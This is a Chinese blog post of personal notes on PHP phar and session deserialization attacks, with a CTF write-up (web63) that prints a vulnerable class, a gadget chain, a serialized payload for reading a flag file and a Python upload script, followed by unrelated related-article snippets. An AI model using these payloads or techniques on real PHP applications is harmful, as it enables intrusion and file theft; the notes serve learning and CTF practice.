【心得】PHP反序列化高级利用(phar|session)个人笔记
目录
①phar反序列化
②session反序列化
①phar反序列化
phar 认为是java的jar包 calc.exe
phar能干什么
多个php合并为独立压缩包,不解压就能执行里面的php文件,支持web服务器和命令行
phar协议
phar://xxx.phar
$phar->setmetadata($h);
metaData可以存放一个类实例,会将这个类实例以序列化字符串形式存放至Phar文件内
当使用phar协议加载phar文件时,会自动反序列化这个类的序列化字符串
总结:
1.生成phar包时,可以往metaData里面放对象
2.生成后,对象会自动序列化保存到phar包中
3.使用phar协议读取phar包时,如果当前脚本识别了这个类,会自动调用这个类的魔术方法
哪里使用的多
如果有上传点,上传文件的前半部分可控,后缀黑名单,不能上传危险的后缀为php phps phtml ini 没有禁止上传phar文件
能够上传phar文件,找到大量使用的file_exists等文件读取函数,通过控制phar://头,来使用phar协议来解析phar包
就能自动进行反序列化
条件:
1 能够生成phar包并上传写入
2 有可利用的文件操作函数,并控制了协议头,使用phar协议解析
3 有可利用的恶意类
可以触发phar反序列化的函数
fopen() unlink() stat() fstat() fseek() rename() opendir() rmdir() mkdir() file_put_contents() file_get_contents()
file_exists() fileinode() include() require() include_once require_once() filemtime() fileowner() fileperms()
filesize() is_dir() scandir() rmdir() highlight_file()
②session反序列化
在 PHP 中,PHP_SESSION_UPLOAD_PROGRESS是一个内置的会话变量,用于跟踪文件上传的进度。当使用 PHP 通过 HTTP POST 方法上传文件时,PHP 将自动创建并初始化这个变量。它的值表示上传文件的字节数。这个值可能会在整个上传过程中不断更新,以反映上传的实时进度。在一些情况下,可以使用这个变量来实现对上传进度的监控和处理。
php的session时存放在文件中的 默认位置时/tmp/sess_PHPSESSID
session 可以放字符串,数字,也可以放对象
1 session里面存放对象时,会自动进行序列化,存放序列化后的字符串
2 session里面拿取对象时,会自动进行反序列化,执行对象的魔术方法
php序列化处理器方式
xxx|O:4:"user":2{s:8"username";N;s:8:"password";N;}
php_serialize序列化处理器方式
a:1:{s:3:"xxx";O:4:"user":2:{s:8"username";N;s:8:"password";N;}}
例题:web63

?phpinfo=看一眼phpinfo,应证了ini_set("session.serialize_handler", "php");
即用'|'识别,竖线以左代表session的key(键),竖线以右代表反序列化的字符串

?source=看一眼class.php
贴出源码
<?phpclass Happy {public $happy;function __construct(){$this->happy="Happy_New_Year!!!";}function __destruct(){$this->happy->happy;}public function __call($funName, $arguments){die($this->happy->$funName);}public function __set($key,$value){$this->happy->$key = $value;}public function __invoke(){echo $this->happy;}}class _New_{public $daniu;public $robot;public $notrobot;private $_New_;function __construct(){$this->daniu="I'm daniu.";$this->robot="I'm robot.";$this->notrobot="I'm not a robot.";}public function __call($funName, $arguments){echo $this->daniu.$funName."not exists!!!";}public function __invoke(){echo $this->daniu;$this->daniu=$this->robot;echo $this->daniu;}public function __toString(){$robot=$this->robot;$this->daniu->$robot=$this->notrobot;return (string)$this->daniu;}public function __get($key){echo $this->daniu.$key."not exists!!!";}}class Year{public $zodiac;public function __invoke(){echo "happy ".$this->zodiac." year!";}function __construct(){$this->zodiac="Hu";}public function __toString(){$this->show();}public function __set($key,$value)#3{$this->$key = $value;}public function show(){die(file_get_contents($this->zodiac));}public function __wakeup(){$this->zodiac = 'hu';}}
?>
先搓个链子
Happy::__destruct->_New_::__get->_New_::__toString->Year::__toString->Year::show
构造
$h=new Happy();
$n=new _New_();
$n2=new _New_();
$y=new Year();
$n2->daniu=$y;
$n2->robot='zodiac';
$n2->notrobot='/f1ag';
$n->daniu=$n2;
$h->happy=$n;echo serialize($h);//O:5:"Happy":1:{s:5:"happy";O:5:"_New_":4:{s:5:"daniu";O:5:"_New_":4:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";s:2:"Hu";}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:5:"/f1ag";s:12:" _New_ _New_";N;}s:5:"robot";s:10:"I'm robot.";s:8:"notrobot";s:16:"I'm not a robot.";s:12:" _New_ _New_";N;}}
因为class.php的类都在初始界面注册,我们通过强制文件上传的形式,把filename存到session中,在session_start()触发反序列化,利用恶意类进行任意文件读取。
写个表单提交脚本
import requestsp1='''a|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":4:{s:5:\"daniu\";O:5:\"_New_\":4:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";s:2:\"Hu\";}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:5:\"/f1ag\";s:12:\" _New_ _New_\";N;}s:5:\"robot\";s:10:\"I'm robot.\";s:8:\"notrobot\";s:16:\"I'm not a robot.\";s:12:\" _New_ _New_\";N;}}'''
url='http://edb45d1d-7acd-41da-8f1f-00b7b898cc21.challenges.ctfer.com:8080/'
session=requests.session()file={'file':(p1,'aaa')}data={"PHP_SESSION_UPLOAD_PROGRESS":123}cookie={'PHPSESSID':'441a16842171ded17f387411ab56a85f'}resp=session.post(url=url,data=data,files=file,cookies=cookie,proxies={'http':'127.0.0.1:8080'})
print(resp.text)

相关文章:
【心得】PHP反序列化高级利用(phar|session)个人笔记
目录 ①phar反序列化 ②session反序列化 ①phar反序列化 phar 认为是java的jar包 calc.exe phar能干什么 多个php合并为独立压缩包,不解压就能执行里面的php文件,支持web服务器和命令行 phar协议 phar://xxx.phar $phar->setmetadata($h); m…...
MyBatisPlus之增删改查
系列文章目录 提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加 MyBatisPlus之增删改查 提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 系列文章目录前言一、什么是Mybati…...
pytorch03:transforms常见数据增强操作
目录 一、数据增强二、transforms--Crop裁剪2.1 transforms.CenterCrop2.2 transforms.RandomCrop2.3 RandomResizedCrop2.4 FiveCrop和TenCrop 三、transforms—Flip翻转、旋转3.1RandomHorizontalFlip和RandomVerticalFlip3.2 RandomRotation 四、transforms —图像变换4.1 t…...
blob文件流前端显示pdf
首先请求需要修改 responseType: ‘blob’, 需要修改 请求头 {responseType: blob,url: url,method: get,}三种方法: 1.直接处理,在新页面打开 const blob new Blob([data],{ type:application/pdf }) let url window.URL.createObjectURL(blob) wi…...
Android 接入第三方数数科技平台
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、数数科技平台是什么?二、使用步骤1.集成SDK2. 初始化3. 发送事件和设置账号id4. 验证发送事件是否成功 小结 前言 一个成熟的App必然不可缺少对…...
LVM和磁盘配额
一:LVM概述: LVM 是 Logical Volume Manager 的简称,译为中文就是逻辑卷管理。 能够在保持现有数据不变的情况下,动态调整磁盘容量,从而提高磁盘管理的灵活性 /boot 分区用于存放引导文件,不能基于LVM创建…...
uni-app uni-app内置组件
锋哥原创的uni-app视频教程: 2023版uniapp从入门到上天视频教程(Java后端无废话版),火爆更新中..._哔哩哔哩_bilibili2023版uniapp从入门到上天视频教程(Java后端无废话版),火爆更新中...共计23条视频,包括:第1讲 uni…...
C语言——格式说明符前面加修饰符
在C语言中,格式说明符前面可以添加一些修饰符来控制输出或输入的格式,主要包括宽度、精度、左对齐标志和前缀填充字符等。 1. 宽度(Width) %[width]type:这里的width是一个非负整数,表示输出字段的最小宽度…...
实验室(检验科)信息系统LIS源码,客户端:WPF+Windows Forms
lis系统源码,医学检验信息系统源码 LIS系统(Laboratory Information System)即实验室(检验科)信息系统,它将检验仪器付出的检验数据与相关信息接入计算机网络系统中,让患者、实验室、临床科室、…...
有道翻译web端 爬虫, js
以下内容写于2023-12-28, 原链接为:https://fanyi.youdao.com/index.html#/ 1 在输入框内输入hello world进行翻译,通过检查发出的网络请求可以看到翻译文字的http接口应该是: 2 复制下链接最后的路径,去js文件中搜索下: 可以看到这里是定义了一个函数B来做文字的翻译接口函数…...
uni-app API接口扩展组件(uni-ui)
锋哥原创的uni-app视频教程: 2023版uniapp从入门到上天视频教程(Java后端无废话版),火爆更新中..._哔哩哔哩_bilibili2023版uniapp从入门到上天视频教程(Java后端无废话版),火爆更新中...共计23条视频,包括:第1讲 uni…...
信息化和数字化的本质区别是什么?
信息化和数字化是两个概念的区别 它们有什么区别和联系呢?信息化:“业务数据化”,先让业务流程能被数据记录下来。信息化“业务数据化”。数字化:“数据业务化”,用已累积的业务数据去反哺优化业务流程。数字化“数据…...
发表《Nature》!美国研究团队发布可编程逻辑量子处理器
(图片来源:网络) 近期,美国研究团队开发了一款可编程的逻辑量子处理器,并展示了可靠且可扩展的量子计算所需的关键要素,该成果已发表于《Nature》期刊(doi:10.1038/s41586-023-06…...
CISSP 第1章:实现安全治理的原则和策略
作者:nothinghappend 链接:https://zhuanlan.zhihu.com/p/669881930 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 CIA CIA 三性: 机密性:和数据泄露有关。完整性…...
【并发设计模式】聊聊线程本地存储模式如何实现的线程安全
前面两篇文章,通过两阶段终止的模式进行优雅关闭线程,利用数据不变性的方式保证数据安全,以及基于COW的模式,保证读数据的安全。本篇我们来简述下如果利用线程本地存储的方式保证线程安全。 首先一个大前提就是并发问题ÿ…...
边缘计算网关:重新定义物联网数据处理
随着物联网(IoT)设备的爆炸式增长,数据处理和分析的需求也在迅速增加。传统的数据处理方式,将所有数据传输到中心服务器进行处理,不仅增加了网络负担,还可能导致数据延迟和安全问题。因此,边缘计…...
Linux之下载安装
rpm包管理 rpm介绍 rpm用于互联网下载包的打包及安装工具,他包含在某些linux分发版本中。他生成具有.rpm扩展名的文件。RPM是RedHat Package Manager(RedHat软件包管理工具)的缩写,类似windows的steup.exe。 rpm包的查询指令 查询已经安装…...
【HarmonyOS开发】案例-记账本开发
OpenHarmony最近一段时间,简直火的一塌糊度,学习OpenHarmony相关的技术栈也有一段时间了,做个记账本小应用,将所学知识点融合记录一下。 1、记账本涉及知识点 基础组件(Button、Select、Text、Span、Divider、Image&am…...
webrtc中的接口代理框架
文章目录 接口代理框架Proxy体系类结构导出接口 webrtc的实际运用PeerConnectionFactoyPeerConnection使用 接口代理框架 webrtc体系庞大,模块化极好,大多数模块都可以独立使用。模块提供接口,外部代码通过接口来使用模块功能。 在webrtc中通…...
【AIGC-图片生成视频系列-4】DreamTuner:单张图像足以进行主题驱动生成
目录 一. 项目概述 问题: 解决: 二. 方法详解 a) 整体结构 b) 自主题注意力 三. 文本控制的动漫角色驱动图像生成的结果 四. 文本控制的自然图像驱动图像生成的结果 五. 姿势控制角色驱动图像生成的结果 2023年的最后一天,发个文记录…...
TDengine 快速体验(Docker 镜像方式)
简介 TDengine 可以通过安装包、Docker 镜像 及云服务快速体验 TDengine 的功能,本节首先介绍如何通过 Docker 快速体验 TDengine,然后介绍如何在 Docker 环境下体验 TDengine 的写入和查询功能。如果你不熟悉 Docker,请使用 安装包的方式快…...
java 实现excel文件转pdf | 无水印 | 无限制
文章目录 目录 文章目录 前言 1.项目远程仓库配置 2.pom文件引入相关依赖 3.代码破解 二、Excel转PDF 1.代码实现 2.Aspose.License.xml 授权文件 总结 前言 java处理excel转pdf一直没找到什么好用的免费jar包工具,自己手写的难度,恐怕高级程序员花费一年的事件,也…...
django filter 统计数量 按属性去重
在Django中,如果你想要根据某个属性对查询集进行去重并统计数量,你可以使用values()方法配合annotate()方法来实现。这里有两种常见的方法来完成这个需求: 方法1:使用annotate()和Count 假设你有一个模型Item,并且你想…...
【Go】3、Go语言进阶与依赖管理
前言 本系列文章参考自稀土掘金上的 【字节内部课】公开课,做自我学习总结整理。 Go语言并发编程 Go语言原生支持并发编程,它的核心机制是 Goroutine 协程、Channel 通道,并基于CSP(Communicating Sequential Processes࿰…...
JavaScript基础-API 和 Web API
在学习JavaScript的过程中,理解API(应用程序接口)和Web API的概念及其应用是非常重要的。这些工具极大地扩展了JavaScript的功能,使得开发者能够创建出功能丰富、交互性强的Web应用程序。本文将深入探讨JavaScript中的API与Web AP…...
LRU 缓存机制详解与实现(Java版) + 力扣解决
📌 LRU 缓存机制详解与实现(Java版) 一、📖 问题背景 在日常开发中,我们经常会使用 缓存(Cache) 来提升性能。但由于内存有限,缓存不可能无限增长,于是需要策略决定&am…...
Ubuntu系统复制(U盘-电脑硬盘)
所需环境 电脑自带硬盘:1块 (1T) U盘1:Ubuntu系统引导盘(用于“U盘2”复制到“电脑自带硬盘”) U盘2:Ubuntu系统盘(1T,用于被复制) !!!建议“电脑…...
【WebSocket】SpringBoot项目中使用WebSocket
1. 导入坐标 如果springboot父工程没有加入websocket的起步依赖,添加它的坐标的时候需要带上版本号。 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-websocket</artifactId> </dep…...
在鸿蒙HarmonyOS 5中使用DevEco Studio实现指南针功能
指南针功能是许多位置服务应用的基础功能之一。下面我将详细介绍如何在HarmonyOS 5中使用DevEco Studio实现指南针功能。 1. 开发环境准备 确保已安装DevEco Studio 3.1或更高版本确保项目使用的是HarmonyOS 5.0 SDK在项目的module.json5中配置必要的权限 2. 权限配置 在mo…...
13.10 LangGraph多轮对话系统实战:Ollama私有部署+情感识别优化全解析
LangGraph多轮对话系统实战:Ollama私有部署+情感识别优化全解析 LanguageMentor 对话式训练系统架构与实现 关键词:多轮对话系统设计、场景化提示工程、情感识别优化、LangGraph 状态管理、Ollama 私有化部署 1. 对话训练系统技术架构 采用四层架构实现高扩展性的对话训练…...
